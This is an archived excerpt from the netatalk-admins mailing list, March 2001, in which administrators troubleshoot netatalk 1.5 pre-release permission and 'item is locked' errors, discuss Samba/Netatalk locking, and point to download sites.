	for <netatalk-admins@umich.edu>; Tue, 13 Mar 2001 16:18:27 -0500 (EST)
Received: (from frank@localhost)
	by rakete.joerdens.de (8.9.3/8.9.3) id WAA11691;
	Tue, 13 Mar 2001 22:17:59 +0100
Date: Tue, 13 Mar 2001 22:17:59 +0100
From: Frank Joerdens <frank@joerdens.de>
To: "Kevin M. Myer" <kevin_myer@iu13.k12.pa.us>
Cc: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>,
        Mike Brodbelt <m.brodbelt@acu.ac.uk>,
        Mike Fedyk <mfedyk@matchmail.com>, Samba ML <samba@us4.samba.org>,
        Debian User List <debian-user@lists.debian.org>,
        Netatalk ML <netatalk-admins@umich.edu>
Subject: Re: Locking propigation probelm samba to netatalk & netatalk to samba
Message-ID: <20010313221759.A11597@rakete.joerdens.de>
References: <Pine.LNX.4.30.0103130856020.19591-100000@www.molbio.wisc.edu> <Pine.LNX.4.33.0103131535130.1319-100000@pegmatite.iu13.k12.pa.us>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.1.2i
In-Reply-To: <Pine.LNX.4.33.0103131535130.1319-100000@pegmatite.iu13.k12.pa.us>; from kevin_myer@iu13.k12.pa.us on Tue, Mar 13, 2001 at 03:56:23PM -0500
X-Subliminal-Message: Use Linux! Use Linux!

On Tue, Mar 13, 2001 at 03:56:23PM -0500, Kevin M. Myer wrote:
[ . . . ]
> 
> If anyone has an update on anything I've listed, I'd really like to hear
> about it (i.e. if you are working on implimenting samba/netatalk
> interoperability or if you have more info on locking problems).

I don't have more info on the locking issue except that I find it rather
remarkable that it has not caused _any_ problem whatsoever in about 6
months+ of operation in a Samba/Netatalk environment that's fairly
heavily used (about a dozen macs and a handful of PCs accessing one
Linux box with about 100 GB shared space). This means that from my
experience at least, the locking issue is only the worst problem in
theory. My pet peeves are codepages and mswindows options not working
together (a Netatalk issue), and vetoing with certain files that contain
metacharacters such as '^M' or '?' (a Samba issue), e.g. Icon files that
are somethimes created with certain files by Netatalk and which are
still visible to the PCs.

What I'm wondering is: Isn't the whole issue becoming somewhat moot with
Mac OS X which has NFS support, and a flat filesystem to boot? 

Regards, Frank

From netatalk.administrators-errors@umich.edu  Wed Mar 14 02:15:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA21042
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 02:15:19 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA27316
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 02:15:19 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA27290
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 02:15:18 -0500 (EST)
Received: from postal.interaccess.com (from.interaccess.com [207.208.131.20])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA27244
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 02:15:17 -0500 (EST)
Received: from [192.168.1.118] (a10.240.208.207.ded25.interaccess.com [207.208.240.10])
	by postal.interaccess.com (8.10.2/8.10.2) with ESMTP id f2E7FGk09135
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 01:15:16 -0600 (CST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 14 Mar 2001 01:14:29 -0600
Subject: Re: The item "..." cannot be written, because it is locked.
From: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6D47675.12DE0%bucky@interaccess.com>
In-Reply-To: <B6C57567.15DA%john+@cs.cmu.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I have this same issue on 1.5pre5 on a LinuxPPC 2000 Q4 PowerMac 7300
(binary built with rpm --rebuild, then installed with rpm -i). Additionally,
copying files to the server creates an empty file despite the warning. And
deleting files results in a privileges warning -- but the files trash
anyway. And emptying the trash does not succeed. But dismounting and
remounting the volume, after such a sequence, shows the files were indeed
deleted. _But_ not for directories containing (empty) files: the files must
be trashed first (producing the false warnings) and then the empty directory
may be trashed.

The good news: I can now do encrypted logins! Can't wait until the rest
works smoothly. Keep up the good work fellas!

-B...

> From: John G Dorsey <john+@cs.cmu.edu>
> Date: Fri, 02 Mar 2001 16:06:00 -0500
> To: netatalk-admins@umich.edu
> Subject: The item "..." cannot be written, because it is locked.
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Fri, 2 Mar 2001 16:17:35 -0500 (EST)
> 
> Hello,
> 
> I'm running netatalk 1.5pre4 on a Linux box, with a MacOS 9.0.4 client. I've
> observed that I can create directories in volumes mounted from the Linux box
> on the MacOS client, but when I attempt to copy a file from the client to
> the mounted volume, I get:
> 
> The item "<filename>" cannot be written, because it is locked.
> Do you want to continue?
> 
> In perusing the archives of this list, I've come across several references
> to incorrect permissions, particularly on the .AppleDouble directory. I
> haven't had much luck in choosing various owners, groups, and modes for the
> files and directories which are being exported. (Even mode 777 doesn't seem
> to change anything.) The most recent traffic to this effect in the web
> archive appears to be from 15 Jan 2001, but I don't think there was a
> resolution posted.
> 
> May I ask for suggestions as to likely culprits?
> 
> Thanks!
> -jd
> 


From netatalk.administrators-errors@umich.edu  Wed Mar 14 02:24:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA21199
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 02:24:18 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA25574
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 02:24:18 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA25550
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 02:24:18 -0500 (EST)
Received: from neuman.interaccess.com (from.interaccess.com [207.208.131.20])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA25521
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 02:24:17 -0500 (EST)
Received: from [192.168.1.118] (a10.240.208.207.ded25.interaccess.com [207.208.240.10])
	by neuman.interaccess.com (8.10.2/8.10.2) with ESMTP id f2E7OGU13804
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 01:24:16 -0600 (CST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 14 Mar 2001 01:23:29 -0600
Subject: Re: The item "..." cannot be written, because it is locked.
From: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6D47890.12DE2%bucky@interaccess.com>
In-Reply-To: <B6D47675.12DE0%bucky@interaccess.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

My home directory:

drwx------   17 userme   userme       4096 Mar 14 01:03 .
drwxr-xr-x    6 root     root         4096 Mar  6 11:28 ..
drwx------    2 userme   userme       4096 Mar 14 01:00 .AppleDouble
-rw-------    1 userme   userme          0 Mar  6 12:05 .ICEauthority
drwxr-xr-x    6 userme   userme       4096 Mar  6 11:28 Desktop
drwx--Srwx    6 userme   userme       4096 Mar 14 01:03 Network Trash Folder
drwxrwsrwx    3 userme   userme       4096 Mar 14 00:41
TheVolumeSettingsFolder
drwx------    3 userme   userme       4096 Mar  6 11:59 nsmail

-B...

> From: Bruce A. Burdick, Jr. <bucky@interaccess.com>
> Date: Wed, 14 Mar 2001 01:14:29 -0600
> To: <netatalk-admins@umich.edu>
> Subject: Re: The item "..." cannot be written, because it is locked.
> 
> I have this same issue on 1.5pre5 on a LinuxPPC 2000 Q4 PowerMac 7300 (binary
> built with rpm --rebuild, then installed with rpm -i). Additionally, copying
> files to the server creates an empty file despite the warning. And deleting
> files results in a privileges warning -- but the files trash anyway. And
> emptying the trash does not succeed. But dismounting and remounting the
> volume, after such a sequence, shows the files were indeed deleted. _But_ not
> for directories containing (empty) files: the files must be trashed first
> (producing the false warnings) and then the empty directory may be trashed.
> 
> The good news: I can now do encrypted logins! Can't wait until the rest works
> smoothly. Keep up the good work fellas!
> 
> -B...
> 
>> From: John G Dorsey <john+@cs.cmu.edu>
>> Date: Fri, 02 Mar 2001 16:06:00 -0500
>> To: netatalk-admins@umich.edu
>> Subject: The item "..." cannot be written, because it is locked.
>> Resent-From: netatalk-admins@umich.edu
>> Resent-Date: Fri, 2 Mar 2001 16:17:35 -0500 (EST)
>> 
>> Hello,
>> 
>> I'm running netatalk 1.5pre4 on a Linux box, with a MacOS 9.0.4 client. I've
>> observed that I can create directories in volumes mounted from the Linux box
>> on the MacOS client, but when I attempt to copy a file from the client to
>> the mounted volume, I get:
>> 
>> The item "<filename>" cannot be written, because it is locked.
>> Do you want to continue?
>> 
>> In perusing the archives of this list, I've come across several references
>> to incorrect permissions, particularly on the .AppleDouble directory. I
>> haven't had much luck in choosing various owners, groups, and modes for the
>> files and directories which are being exported. (Even mode 777 doesn't seem
>> to change anything.) The most recent traffic to this effect in the web
>> archive appears to be from 15 Jan 2001, but I don't think there was a
>> resolution posted.
>> 
>> May I ask for suggestions as to likely culprits?
>> 
>> Thanks!
>> -jd
>> 


From netatalk.administrators-errors@umich.edu  Wed Mar 14 06:19:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA24942
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 06:19:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA19108
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 06:19:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA19089
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 06:19:35 -0500 (EST)
Received: from jump.tangro.de (cray-ymp.tangro.de [193.155.17.164])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA19040
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 06:19:33 -0500 (EST)
Received: from [193.155.17.160] (whizz.tangro.de [193.155.17.160])
	by jump.tangro.de (8.9.3/8.9.3) with ESMTP id MAA23556;
	Wed, 14 Mar 2001 12:18:56 +0100 (CET)
Mime-Version: 1.0
X-Sender: hf@mail.tangro.de (Unverified)
Message-Id: <f05010400b6d503505628@[193.155.17.160]>
In-Reply-To: <20010313221759.A11597@rakete.joerdens.de>
References: <Pine.LNX.4.30.0103130856020.19591-100000@www.molbio.wisc.edu>
 <Pine.LNX.4.33.0103131535130.1319-100000@pegmatite.iu13.k12.pa.us>
 <20010313221759.A11597@rakete.joerdens.de>
Date: Wed, 14 Mar 2001 12:18:53 +0100
To: Frank Joerdens <frank@joerdens.de>
From: Hauke Fath <hf@Tangro.DE>
Subject: Re: Locking propigation probelm samba to netatalk & netatalk to
 samba
Cc: "Kevin M. Myer" <kevin_myer@iu13.k12.pa.us>,
        "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>,
        Mike Brodbelt <m.brodbelt@acu.ac.uk>,
        Mike Fedyk <mfedyk@matchmail.com>, Samba ML <samba@us4.samba.org>,
        Debian User List <debian-user@lists.debian.org>,
        Netatalk ML <netatalk-admins@umich.edu>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 22:17 Uhr +0100 13.03.2001, Frank Joerdens wrote:

>What I'm wondering is: Isn't the whole issue becoming somewhat moot with
>Mac OS X which has NFS support, and a flat filesystem to boot?

Just about when the last "Classic" MacOS machine leaves the shop. 
I.e.: "Not yet."

And, while NFS may be supported by X, I have not come across a 
statement that it is going to be the preferred filesharing mechanism.

	hauke

-- 
Hauke Fath                        tangro software components GmbH
                                         D-69115 Heidelberg
hf@tangro.de                       Ruf +49-6221-13336-0, Fax -21

From netatalk.administrators-errors@umich.edu  Wed Mar 14 06:25:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA25025
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 06:25:31 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA28818
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 06:25:31 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA28798
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 06:25:31 -0500 (EST)
Received: from max.hkust.se (max.hkust.se [194.18.100.146])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA28745
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 06:25:29 -0500 (EST)
Received: (from stone@localhost)
	by max.hkust.se (8.11.0/8.11.0) id f2EBPOh18060
	for netatalk-admins@umich.edu; Wed, 14 Mar 2001 12:25:24 +0100
Date: Wed, 14 Mar 2001 12:25:24 +0100
From: Magnus Stenman <stone@hkust.se>
To: netatalk-admins@umich.edu
Subject: pre5 permissions, anyone solved it yet?
Message-ID: <20010314122524.B17304@hkust.se>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i

I got the same weirdo permission problems as a lot of people have been
seeing, is there a fix (pre6 maybe) since it seems to be a showstopper
on at least a lot of RedHat 6.x and 7.x systems?


Files copied to the netatalk volume show up as 0-byte sized, both the
actual file and its .AppleDouble counterpart


Is it some problem with the uam module getting strange uid/gid:s for
the files to create?


Log entries:

Mar 13 19:13:13 lakrits afpd[5150]: uam: uams_dhx.so loaded
Mar 13 19:13:13 lakrits afpd[5150]: uam: "DHCAST128" available
...
Mar 13 19:14:38 lakrits afpd[5170]: dhx login: mskankweb
Mar 13 19:14:38 lakrits afpd[5170]: uams_dhx_pam.c :PAM: PAM Success -- Interrupted system call
Mar 13 19:14:38 lakrits PAM_pwdb[5170]: (netatalk) session opened for user mskankweb by (uid=0)
Mar 13 19:14:38 lakrits afpd[5170]: uams_dhx_pam.c :PAM: PAM Auth OK!: (null) -- Inappropriate ioctl for device
Mar 13 19:14:38 lakrits afpd[5170]: login mskankweb (uid 882, gid 889)
Mar 13 19:14:41 lakrits afpd[5170]: setdirowner: chown 16777216/-1 .AppleDouble/.Parent: Operation not permitted
Mar 13 19:14:41 lakrits afpd[5170]: setdirowner: chown 16777216/-1 .AppleDouble: Operation not permitted
Mar 13 19:14:41 lakrits afpd[5170]: setdirowner: chown 16777216/-1 .: Operation not permitted
Mar 13 19:14:41 lakrits afpd[5170]: setdirowner: chown -1/0 .AppleDouble/.Parent: Operation not permitted
Mar 13 19:14:41 lakrits afpd[5170]: setdirowner: chown 16777216/-1 .AppleDouble/.Parent: Operation not permitted
Mar 13 19:14:41 lakrits afpd[5170]: setdirowner: chown 16777216/-1 .AppleDouble: Operation not permitted
Mar 13 19:14:41 lakrits afpd[5170]: setdirowner: chown 16777216/-1 .: Operation not permitted
Mar 13 19:14:41 lakrits afpd[5170]: setdirowner: chown -1/0 .AppleDouble/.Parent: Operation not permitted



/magnus

-- 
 Magnus Stenman   mailto:stone@hkust.se   http://www.hkust.se

 Get it up, keep it up.  Linux -- Viagra for your PC

From netatalk.administrators-errors@umich.edu  Wed Mar 14 07:10:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA25586
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 07:10:17 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA10778
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 07:10:16 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA10744
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 07:10:15 -0500 (EST)
Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA10712
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 07:10:14 -0500 (EST)
Received: from [216.155.36.73] ([216.155.36.73])
	by trinity.magpage.com (8.11.2/8.11.2) with ESMTP id f2EC9iX36993
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 07:09:59 -0500 (EST)
Mime-Version: 1.0
X-Sender: ryannm@mail.magpage.com
Message-Id: <v04210102b6d50f3f4fbb@[216.155.36.73]>
In-Reply-To: <B6D47890.12DE2%bucky@interaccess.com>
References: <B6D47890.12DE2%bucky@interaccess.com>
Date: Wed, 14 Mar 2001 07:13:57 -0500
To: netatalk-admins@umich.edu
From: Ryan McBeth <ryan@mobiusnm.com>
Subject: Re: The item "..." cannot be written, because it is locked.
Content-Type: text/plain; charset="us-ascii" ; format="flowed"


	That's *exactly* the same problem that I'm having.  A popup 
Message gives me a permission error but then a file with 0 bytes is 
created.

	I *know* my permissions are right because I have the same 
setup on a machine running Netatalk 1.4b2+asun2.1.1 (the distro we 
had before the coup and move to Sourceforge).

	I'm just glad that I didn't test this out on a production 
machine - I would have been fired if all of my users suddenly 
couldn't drop and use files.

	Is the solution to this to keep going backwards in releases 
until we reach one that works well with the file permissions?

	Ryan


> (binary
> > built with rpm --rebuild, then installed with rpm -i). 
>Additionally, copying
> > files to the server creates an empty file despite the warning. And deleting
> > files results in a privileges warning -- but the files trash anyway. And
> > emptying the trash does not succeed. But dismounting and remounting the
> > volume, after such a sequence, shows the files were indeed 
>deleted. _But_ not
> > for directories containing (empty) files: the files must be trashed first

__________________________________
Ryan McBeth
Systems Administrator, Mobius New Media
Voice: (302) 475-9880 x11
FAX: (302) 475-9894
www.mobiusnm.com
__________________________________
The secret to not getting burned out is to play at
working hard, and not taking things too seriously.
- Linus Torvalds


From netatalk.administrators-errors@umich.edu  Wed Mar 14 08:16:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA26804
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 08:16:57 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA22226
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 08:16:50 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA22196
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 08:16:49 -0500 (EST)
Received: from Ceres.digitalgraphics.net (digitalgraphics.net [216.133.71.226])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA22150
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 08:16:48 -0500 (EST)
Received: from cx448422-b.wwck1.ri.home.com (cx448422-b.wwck1.ri.home.com [24.18.198.105])
	by Ceres.digitalgraphics.net (8.9.3/8.9.3) with SMTP id IAA50317
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 08:41:53 -0500 (EST)
	(envelope-from leeb@digitalgraphics.net)
To: netatalk-admins@umich.edu (Netatalk List)
Subject: Where to get netatalk?
From: leeb@digitalgraphics.net (Lee Blevins)
Date: Wed, 14 Mar 2001 08:16:52 -0500
Message-ID: <1eq92y6.1dlsg96r1mkcgM@cx448422-b.wwck1.ri.home.com>
Organization: Digital Graphics, Inc.
User-Agent: MacSOUP/2.4 (unregistered for 50 days)

I can't find any link to the asun version of netatalk.

Unfortunately, I lost my prefs for my ftp client which had the last
location for it.

Could someone point me in the right direction to where it's being kept
these days?

Thanks in advance.

Lee Blevins

From netatalk.administrators-errors@umich.edu  Wed Mar 14 08:27:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA26987
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 08:27:15 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA24634
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 08:27:15 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA24609
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 08:27:14 -0500 (EST)
Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA24568
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 08:27:13 -0500 (EST)
Received: from [216.155.36.73] ([216.155.36.73])
	by trinity.magpage.com (8.11.2/8.11.2) with ESMTP id f2EDRCZ56521
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 08:27:12 -0500 (EST)
Mime-Version: 1.0
X-Sender: ryannm@mail.magpage.com
Message-Id: <v04210108b6d522eaefd2@[216.155.36.73]>
In-Reply-To: <1eq92y6.1dlsg96r1mkcgM@cx448422-b.wwck1.ri.home.com>
References: <1eq92y6.1dlsg96r1mkcgM@cx448422-b.wwck1.ri.home.com>
Date: Wed, 14 Mar 2001 08:31:30 -0500
To: netatalk-admins@umich.edu
From: Ryan McBeth <ryan@mobiusnm.com>
Subject: Re: Where to get netatalk?
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Lee,

	http://sourceforge.net/project/showfiles.php?group_id=8642

	Is a good place for the new ones.

	http://www.anders.com/projects/netatalk/

	For the old ones.

	Ryan

>I can't find any link to the asun version of netatalk.
>
>Unfortunately, I lost my prefs for my ftp client which had the last
>location for it.
>
>Could someone point me in the right direction to where it's being kept
>these days?
>
>Thanks in advance.
>
>Lee Blevins

__________________________________
Ryan McBeth
Systems Administrator, Mobius New Media
Voice: (302) 475-9880 x11
FAX: (302) 475-9894
www.mobiusnm.com
__________________________________
The secret to not getting burned out is to play at
working hard, and not taking things too seriously.
- Linus Torvalds


From netatalk.administrators-errors@umich.edu  Wed Mar 14 09:08:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA27767
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 09:08:19 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA22760
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 09:08:19 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA22734
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 09:08:18 -0500 (EST)
Received: from hobbiton.shire.net (frogmorton.shire.net [204.228.145.136])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA22601
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 09:08:13 -0500 (EST)
Received: from [216.64.45.172] (helo=[192.168.99.123])
	by hobbiton.shire.net with esmtp (Exim 2.04 #5)
	id 14dBwN-0002K5-00
	for netatalk-admins@umich.edu; Wed, 14 Mar 2001 07:07:51 -0700
Date: Wed, 14 Mar 2001 08:59:55 -0500
From: "Chad Leigh, Objectwerks, Inc." <chad@objectwerks.com>
Reply-To: chad@objectwerks.com
To: netatalk-admins@umich.edu
Subject: Re: The item "..." cannot be written, because it is locked.
Message-ID: <1012885106.984560395@[192.168.99.123]>
In-Reply-To: <B6D47675.12DE0%bucky@interaccess.com>
X-Mailer: Mulberry/2.0.5 (Win32)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Just for the record, the same happened to me on FreeBSD 4.2 intel with this 
release...

--On Wednesday, March 14, 2001 1:14 AM -0600 "Bruce A. Burdick, Jr." 
<bucky@interaccess.com> wrote:

> I have this same issue on 1.5pre5 on a LinuxPPC 2000 Q4 PowerMac 7300
> (binary built with rpm --rebuild, then installed with rpm -i).
> Additionally, copying files to the server creates an empty file despite
> the warning. And deleting files results in a privileges warning -- but
> the files trash anyway. And emptying the trash does not succeed. But
> dismounting and remounting the volume, after such a sequence, shows the
> files were indeed deleted. _But_ not for directories containing (empty)
> files: the files must be trashed first (producing the false warnings) and
> then the empty directory may be trashed.
>


From netatalk.administrators-errors@umich.edu  Wed Mar 14 10:54:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA29807
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 10:54:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA06399
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 10:54:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA06376
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 10:54:45 -0500 (EST)
Received: from research.dfci.harvard.edu (research.dfci.harvard.edu [155.52.50.28])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA06349
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 10:54:45 -0500 (EST)
Received: from [155.52.50.27] (account mht4 HELO research.dfci.harvard.edu)
  by research.dfci.harvard.edu (CommuniGate Pro SMTP 3.4.2)
  with ESMTP id 460465; Wed, 14 Mar 2001 10:57:58 -0500
Sender: mht4@research.dfci.harvard.edu
Message-ID: <3AAF9448.35BF6286@research.dfci.harvard.edu>
Date: Wed, 14 Mar 2001 10:54:48 -0500
From: testing roaming <mht@research.dfci.harvard.edu>
Reply-To: mht@research.dfci.harvard.edu
Organization: Dana Farber Cancer Institute
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Hauke Fath <hf@Tangro.DE>
CC: Netatalk ML <netatalk-admins@umich.edu>
Subject: Re: Locking propigation probelm samba to netatalk & netatalk tosamba
References: <Pine.LNX.4.30.0103130856020.19591-100000@www.molbio.wisc.edu>
	 <Pine.LNX.4.33.0103131535130.1319-100000@pegmatite.iu13.k12.pa.us>
	 <20010313221759.A11597@rakete.joerdens.de> <f05010400b6d503505628@[193.155.17.160]>
Content-Type: multipart/mixed;
 boundary="------------A092CD17B548839CE10865E3"

This is a multi-part message in MIME format.
--------------A092CD17B548839CE10865E3
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hauke,

	I've been living with various appleshare servers for more
than a decade -- implementations from Pacer software on VMS (gasp)
and Unix, CAP, Netatalk.   Several vendors attempted implementations
of what they called "NFS/Share" or something like that.   All, as
I recall, were horrendously slow -- not for file transfer but for
duirectory scanning.   This was explained to me as having
to do with the way in which Appleshare get's to know what is in
subdirectories and required single iterative calls to find out what
was there -- very bad if your directory has a few thousand files.
I don't know if this is a technical issue that can't be overcome,
but it seemed not to be trivial.
	I believe they all disappeared.  Are any still around that 
you know of?

						Matthew Temple


Hauke Fath wrote:
> 
> At 22:17 Uhr +0100 13.03.2001, Frank Joerdens wrote:
> 
> >What I'm wondering is: Isn't the whole issue becoming somewhat moot with
> >Mac OS X which has NFS support, and a flat filesystem to boot?
> 
> Just about when the last "Classic" MacOS machine leaves the shop.
> I.e.: "Not yet."
> 
> And, while NFS may be supported by X, I have not come across a
> statement that it is going to be the preferred filesharing mechanism.
> 
>         hauke
> 
> --
> Hauke Fath                        tangro software components GmbH
>                                          D-69115 Heidelberg
> hf@tangro.de                       Ruf +49-6221-13336-0, Fax -21

-- 
=============================================================
Matthew Temple                Tel:    617/632-2597
Director, Research Computing  Fax:    617/632-4012
Dana-Farber Cancer Institute  mht@research.dfci.harvard.edu
44 Binney Street, Smith 345   http://research.dfci.harvard.edu
Boston, MA 02115              Choice is the Choice!
=============================================================
